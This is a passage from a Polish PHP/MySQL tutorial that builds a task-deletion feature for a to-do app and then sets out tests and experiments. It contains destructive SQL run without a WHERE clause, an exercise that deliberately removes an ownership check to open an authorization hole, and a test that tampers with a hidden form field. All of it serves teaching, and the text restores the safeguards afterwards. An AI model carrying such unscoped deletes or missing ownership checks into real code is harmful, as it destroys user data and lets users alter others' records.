<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            if (!$zadanie-&gt;czyWykonane()) {
                echo '&lt;form class="akcja" method="post" action="oznacz-wykonane.php"&gt;';
                echo '&lt;input type="hidden" name="id" value="' . $zadanie-&gt;pobierzId() . '"&gt;';
                echo '&lt;button type="submit"&gt;Zrobione!&lt;/button&gt;';
                echo '&lt;/form&gt;';
            }

            echo "&lt;/div&gt;";</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzId()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>, więc w atrybucie <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> jest bezpieczny.</p>
</details>



<h3 class="wp-block-heading">7c. Styl</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code> pod regułą <code class="prettyprint lang-sql" style="font-size: 0.85em;">.zadanie.po-terminie</code>, dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">form.akcja { display: inline; }</code></pre>



<p class="wp-block-paragraph">Formularze są domyślnie blokami (każdy od nowej linii). Przycisk przy zadaniu ma stać w linii. Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">akcja</code> nie zmienia wyglądu formularzy „Dodaj zadanie” i „Logowanie”.</p>



<h3 class="wp-block-heading">7d. Sprawdzenie</h3>



<p class="wp-block-paragraph">Zaloguj się jako Ola (250 XP, streak 0). Kliknij „Zrobione!” przy „Zaprojektować bazę TaskQuest”. Oczekiwane: komunikat „Zadanie wykonane! +30 XP”, 280 XP, poziom 3, streak 1, zadanie oznaczone <code class="prettyprint lang-sql" style="font-size: 0.85em;">[X]</code> i bez przycisku. W phpMyAdmin: <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> Oli to dzisiejsza data.</p>



<h2 class="wp-block-heading">Krok 8 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> i stopka</h2>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>, w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code>: usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_plikow.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'data/zadania.csv'</code>, dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">'oznacz-wykonane.php'</code> (razem <strong>18</strong> ścieżek; w sekcji 6 dojdzie jeszcze jedna).</li>



<li>Usuń linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiCsv = listaPlikowWKatalogu('data', 'csv');</code> i całą sekcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Pliki danych&lt;/h2&gt;</code> z jej zawartością. Katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code> już nie ma. Funkcja nie zgłosiłaby błędu (dla nieistniejącego katalogu zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code>), ale sekcja o nieistniejących danych tylko by myliła.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.9</code>.</li>
</ol>



<p class="wp-block-paragraph">Diagnostyka nadal <strong>nie łączy się z bazą</strong> i nie dołącza <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code> (zasada z Lekcji 10).</p>



<h1 class="wp-block-heading">6. Kolejne zadanie — usuwanie zadania</h1>



<p class="wp-block-paragraph">Kama dodała zadanie z literówką w terminie i chce się go pozbyć. Do tej pory mogła tylko poprosić kogoś z dostępem do phpMyAdmin.</p>



<p class="wp-block-paragraph">Przy <strong>każdym</strong> zadaniu na liście (także wykonanym) ma się pojawić przycisk „Usuń”.</p>



<p class="wp-block-paragraph">Wymagania:</p>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code> (pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code>) funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">usunZadanie(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool</code>. Usuwa zadanie tylko wtedy, gdy należy do użytkownika. Zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, gdy wiersz został usunięty.</li>



<li>Nowa strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>, zbudowana jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>: tylko dla zalogowanych, tylko POST, <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> sprawdzone regexem, na końcu przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</li>



<li>Komunikaty: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie zostało usunięte.</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie znaleziono takiego zadania.</code>. Awaria bazy — ramka <code class="prettyprint lang-sql" style="font-size: 0.85em;">.blad</code> „Nie udało się usunąć zadania: &#8230;” z linkiem powrotu.</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, w pętli listy, przycisk „Usuń” w formularzu z klasą <code class="prettyprint lang-sql" style="font-size: 0.85em;">akcja</code>, zbudowany tak jak „Zrobione!” w 7b. Wstaw go pod zamykającą klamrą warunku z formularzem „Zrobione!”, a nad <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;/div&gt;";</code> — <strong>poza</strong> warunkiem, żeby był widoczny przy każdym zadaniu.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> (razem <strong>19</strong>).</li>
</ol>



<p class="wp-block-paragraph">Nie dodajemy okna „Czy na pewno?”. To zadanie końcowe D.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> jest <strong>krótszy</strong> niż <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>. Zastanów się, czy przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> potrzebujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> był potrzebny z dwóch powodów (pierwszy punkt „Dlaczego tak” w kroku 6d). Czy któryś z nich dotyczy usuwania? Których plików strona nie musi dołączać, skoro nie tworzy obiektów?</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?</code></pre>



<p class="wp-block-paragraph">Wynik funkcji — tak samo jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code>. Na stronie wystarczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code> na wyniku funkcji.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function usunZadanie(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie-&gt;prepare('DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?');
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;affected_rows === 1;
}</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

if ($_SERVER&#91;'REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

$zadanieIdTekst = $_POST&#91;'id'] ?? '';

if (!preg_match('/^\d+$/', $zadanieIdTekst)) {
    header('Location: index.php');
    exit;
}

$zadanieId = (int) $zadanieIdTekst;

try {
    $polaczenie = polaczZBaza();

    if (usunZadanie($polaczenie, $zadanieId, $_SESSION&#91;'uzytkownik_id'])) {
        ustawKomunikat('Zadanie zostało usunięte.');
    } else {
        ustawKomunikat('Nie znaleziono takiego zadania.');
    }
} catch (Exception $wyjatek) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo '&lt;p class="blad"&gt;Nie udało się usunąć zadania: ' . $wyjatek-&gt;getMessage() . '&lt;/p&gt;';
    echo '&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;';
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

header('Location: index.php');
exit;</code></pre>



<p class="wp-block-paragraph">Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>: usuwanie nie potrzebuje XP zadania, a „nie ma” i „cudze” dają ten sam komunikat. <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> mówi wszystko. Bez klas: strona nie tworzy obiektów.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — koniec pętli listy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            if (!$zadanie-&gt;czyWykonane()) {
                echo '&lt;form class="akcja" method="post" action="oznacz-wykonane.php"&gt;';
                echo '&lt;input type="hidden" name="id" value="' . $zadanie-&gt;pobierzId() . '"&gt;';
                echo '&lt;button type="submit"&gt;Zrobione!&lt;/button&gt;';
                echo '&lt;/form&gt;';
            }

            echo '&lt;form class="akcja" method="post" action="usun-zadanie.php"&gt;';
            echo '&lt;input type="hidden" name="id" value="' . $zadanie-&gt;pobierzId() . '"&gt;';
            echo '&lt;button type="submit"&gt;Usuń&lt;/button&gt;';
            echo '&lt;/form&gt;';

            echo "&lt;/div&gt;";</code></pre>
</details>



<p class="wp-block-paragraph">Pytanie do przemyślenia: Kama wykonała zadanie za 20 XP, a potem je usunęła. Ile XP ma teraz? Czy tak powinno być? (Pytanie kontrolne 9.)</p>



<h1 class="wp-block-heading">7. Testy</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> przeglądarka i phpMyAdmin. Przed każdym testem zapisz przewidywany wynik. Po testach, które zmieniają dane, uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 1 — dodawanie zadania</h2>



<p class="wp-block-paragraph">Zaloguj się jako Kama. W phpMyAdmin sprawdź liczbę zadań Kamy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT COUNT(*) FROM zadania WHERE uzytkownik_id = 1;</code>. Dodaj przez formularz zadanie: tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;"> Powtórzyć   INSERT </code>, opis pusty, termin za tydzień, 10 XP.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co sprawdzasz</th><th>Oczekiwane</th></tr></thead><tbody><tr><td>strona po wysłaniu</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, komunikat „Zadanie zostało dodane.”, zadanie na liście (tytuł wyświetlony bez nadmiarowych spacji), przycisk „Zrobione!”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">COUNT(*)</code></td><td>o 1 więcej</td></tr><tr><td>nowy wiersz w phpMyAdmin</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> = 1, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> = 10, tytuł bez nadmiarowych spacji (czyści go <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code> przy odczycie z formularza)</td></tr><tr><td>odświeżenie (F5) po dodaniu</td><td>brak drugiego wiersza, komunikat znika (POST → przekierowanie → GET)</td></tr><tr><td>Ola po zalogowaniu</td><td>nie widzi tego zadania</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 2 — walidacja nadal działa (regresja)</h2>



<p class="wp-block-paragraph">Wyślij formularz z: pustym tytułem; XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>; XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">101</code>; terminem <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code>. Oczekiwane: ramka „Popraw formularz:” z właściwym komunikatem, pola wypełnione (formularz zachowuje wpisane dane), a <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">COUNT(*)</code> bez zmian</strong> — do bazy nie trafił żaden wiersz.</p>



<h2 class="wp-block-heading">Test 3 — „Zrobione!”, XP i streak</h2>



<p class="wp-block-paragraph">Zaloguj się jako Kama. Przygotuj dane w phpMyAdmin (przed każdym wierszem tabeli):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = NULL WHERE uzytkownik_id = 1;
UPDATE uzytkownicy SET xp = 99, streak = 5, data_ostatniej_aktywnosci = CURDATE() - INTERVAL 1 DAY WHERE id = 1;</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE() - INTERVAL 1 DAY</code> to „dzisiaj minus jeden dzień”, czyli wczoraj. W kolejnych wierszach zmieniaj tylko datę. Kliknij „Zrobione!” przy dowolnym zadaniu za N XP.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> przed</th><th>XP po</th><th>streak po</th><th>data aktywności po</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE() - INTERVAL 1 DAY</code></td><td>99 + N</td><td>6</td><td>dziś</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code></td><td>99 + N</td><td>5</td><td>dziś</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE() - INTERVAL 3 DAY</code></td><td>99 + N</td><td>1</td><td>dziś</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td><td>99 + N</td><td>1</td><td>dziś</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Kliknij „Zrobione!” przy <strong>drugim</strong> zadaniu (bez przygotowania danych). Streak się nie zmienia (dziś już była aktywność), XP rośnie o nagrodę drugiego zadania.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Jeśli wyniki w pierwszym wierszu się nie zgadzają tuż przed północą albo tuż po niej, sprawdź, czy PHP i MySQL mają tę samą strefę czasową. <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> liczy „dziś” według PHP, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code> według MySQL.</p>
</blockquote>



<h2 class="wp-block-heading">Test 4 — XP tylko raz</h2>



<ol class="wp-block-list">
<li>Zaloguj się jako Ola. Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> w <strong>dwóch kartach</strong>.</li>



<li>W pierwszej kliknij „Zrobione!” przy jej zadaniu — +30 XP, 280.</li>



<li>W drugiej karcie (przycisk nadal widoczny, bo karta nie była odświeżana) kliknij „Zrobione!” przy tym samym zadaniu.</li>
</ol>



<p class="wp-block-paragraph">Oczekiwane: komunikat „To zadanie jest już wykonane.”, <strong>nadal 280 XP</strong>. Zadanie w bazie ma jedną datę wykonania.</p>



<h2 class="wp-block-heading">Test 5 — cudze zadanie</h2>



<ol class="wp-block-list">
<li>Odczytaj w phpMyAdmin <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> dowolnego zadania Kamy.</li>



<li>Zaloguj się jako Ola. Na stronie otwórz narzędzia przeglądarki (F12) → zakładka z kodem strony (Elementy / Inspektor). Znajdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="hidden" name="id" ...&gt;</code> przy zadaniu Oli i zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zadania Kamy.</li>



<li>Kliknij „Zrobione!”.</li>
</ol>



<p class="wp-block-paragraph">Oczekiwane: „Nie znaleziono takiego zadania.”, XP Oli bez zmian, zadanie Kamy w bazie nadal z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. Powtórz to samo z przyciskiem „Usuń” — zadanie Kamy nadal istnieje.</p>



<h2 class="wp-block-heading">Test 6 — nietypowe żądania</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co robisz</th><th>Oczekiwane</th></tr></thead><tbody><tr><td>wpisujesz w pasek adresu <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> (GET)</td><td>powrót na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, nic się nie zmienia</td></tr><tr><td>wpisujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> (GET)</td><td>j.w.</td></tr><tr><td>w F12 zmieniasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">abc</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">-1</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">2.5</code> albo pusty tekst i klikasz</td><td>powrót na listę bez komunikatu, nic się nie zmienia</td></tr><tr><td>wylogowujesz się, potem wpisujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code></td><td>przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nieistniejącego zadania (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">9999</code>)</td><td>„Nie znaleziono takiego zadania.”</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 7 — usuwanie</h2>



<p class="wp-block-paragraph">Zaloguj się jako Kama. Kliknij „Usuń” przy zadaniu <strong>niewykonanym</strong>. Oczekiwane: „Zadanie zostało usunięte.”, zadanie zniknęło z listy i z bazy, liczniki zmniejszyły się o 1. Wykonaj inne zadanie i usuń je. XP <strong>nie</strong> maleje.</p>



<h2 class="wp-block-heading">Test 8 — baza nie działa</h2>



<ol class="wp-block-list">
<li>Zaloguj się, otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> i wypełnij formularz. Zatrzymaj w XAMPP <strong>MySQL</strong> i wyślij. Oczekiwane: formularz z ramką „Nie udało się dodać zadania: Nie udało się połączyć z bazą danych.”, wpisane dane zostają w polach.</li>



<li>Uruchom MySQL, wejdź na listę, zatrzymaj MySQL i kliknij „Zrobione!”. Oczekiwane: strona z ramką „Nie udało się zapisać zmiany: Nie udało się połączyć z bazą danych.” i linkiem powrotu.</li>



<li>To samo z „Usuń”: „Nie udało się usunąć zadania: &#8230;”. Uruchom MySQL.</li>
</ol>



<h2 class="wp-block-heading">Test 9 — ranking się zmienia</h2>



<p class="wp-block-paragraph">Po świeżym <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>: Ola 250, Kama 99. Zaloguj się jako Kama. Wykonuj zadania, aż Kama ma więcej XP niż Ola (w razie potrzeby dodaj przez formularz zadanie za 100 XP i je wykonaj). Oczekiwane: Kama na 1. miejscu rankingu — bez jednej zmiany w <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzRanking()</code>.</p>



<h2 class="wp-block-heading">Test 10 — diagnostyka</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> → <strong>19 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong> (w tym <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>, bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>), brak sekcji „Pliki danych”.</p>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> eksperyment 1 w phpMyAdmin, 4 w brudnopisie, pozostałe w projekcie. Po każdym <strong>przywróć</strong> zmieniony kod i uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<h3 class="wp-block-heading">Eksperyment 1: <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code></h3>



<p class="wp-block-paragraph">W phpMyAdmin:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE();</code></pre>



<p class="wp-block-paragraph">Przewidź liczbę zmienionych wierszy. Zaloguj się jako Kama, potem jako Ola. <strong>Wszystkie</strong> zadania wszystkich graczy są wykonane — i nikt nie dostał za nie XP. Potem:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM zadania;</code></pre>



<p class="wp-block-paragraph">Obie listy są puste. Użytkownicy zostali, bo usunęliśmy wiersze z <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>, nie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>. (Odwrotnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code> z Lekcji 17 usunąłby także zadania.) Wniosek: w PHP każde <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> piszemy <strong>od razu</strong> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>, a gotowe zapytanie czytamy jeszcze raz przed uruchomieniem. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<h3 class="wp-block-heading">Eksperyment 2: bez warunku stanu</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> usuń z zapytania <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code>. Zaloguj się jako Ola i powtórz Test 4 (dwie karty).</p>



<p class="wp-block-paragraph">Przewidź wynik. Oczekiwane — niespodzianka: druga karta <strong>nadal</strong> pokazuje „To zadanie jest już wykonane.”. Dlaczego? Drugi <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> wpisuje tę samą datę, która już jest, więc według 3.1 nic się nie zmienia i <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> = 0. Warunek wygląda na zbędny.</p>



<p class="wp-block-paragraph">Teraz zasymuluj, że zadanie zostało wykonane <strong>wczoraj</strong>, a karta z przyciskiem była otwarta od wczoraj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE() - INTERVAL 1 DAY WHERE uzytkownik_id = 2;</code></pre>



<p class="wp-block-paragraph">Kliknij „Zrobione!” w drugiej karcie (tej nieodświeżonej). Oczekiwane: „Zadanie wykonane! +30 XP” — Ola dostała XP drugi raz za to samo zadanie. Data zmieniła się z wczorajszej na dzisiejszą, więc wiersz „się zmienił”.</p>



<p class="wp-block-paragraph">Wniosek: bez warunku stanu przyznanie XP zależy od przypadku — od tego, czy nowa wartość akurat różni się od starej. Z <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code> odpowiedź jest zawsze jednoznaczna: wykonane zadanie nie pasuje do <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>. <strong>Przywróć warunek.</strong></p>



<h3 class="wp-block-heading">Eksperyment 3: bez warunku właściciela</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> <strong>i</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadanieUzytkownika()</code> usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code>, a w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> zostaw jeden parametr (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'i', $zadanieId</code>). Powtórz Test 5.</p>



<p class="wp-block-paragraph">Oczekiwane: Ola wykonuje zadanie Kamy i <strong>Ola</strong> dostaje za nie XP. Prepared statement działa bez zarzutu — nie ma tu SQL injection. Zapytanie robi dokładnie to, o co je poproszono. Błąd polega na tym, że nie zapytaliśmy, czy wolno. <strong>Przywróć oba warunki.</strong></p>



<h3 class="wp-block-heading">Eksperyment 4: co liczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code></h3>



<p class="wp-block-paragraph">W brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp = 99;
$uzytkownikId = 1;

$zapytanie = $polaczenie-&gt;prepare('UPDATE uzytkownicy SET xp = ? WHERE id = ?');
$zapytanie-&gt;bind_param('ii', $xp, $uzytkownikId);

$zapytanie-&gt;execute();
var_dump($zapytanie-&gt;affected_rows);

$zapytanie-&gt;execute();
var_dump($zapytanie-&gt;affected_rows);</code></pre>



<p class="wp-block-paragraph">Przewidź oba wyniki. Po świeżym <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code> Kama ma 99 XP. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(0)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(0)</code>. Zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">100</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(0)</code>. Ten sam przygotowany <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie</code> można wykonać wiele razy — tu drugi raz nic już nie zmienia. Wniosek: <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> = 0 nie znaczy „nie ma takiego wiersza”. Znaczy „nic się nie zmieniło”.</p>



<h3 class="wp-block-heading">Eksperyment 5: połowa zmiany</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code> zrób literówkę w nazwie kolumny: <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">xpp = xp + ?</code>. Zaloguj się jako Ola i kliknij „Zrobione!”.</p>



<p class="wp-block-paragraph">Oczekiwane: ramka „Nie udało się zapisać zmiany: Unknown column 'xpp&#8217; &#8230;”. Wróć na listę. <strong>Zadanie jest oznaczone jako wykonane</strong>, a XP nadal 250. Kliknąć drugi raz się nie da — przycisku nie ma, a nawet gdyby był, <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. 30 XP przepadło na zawsze.</p>



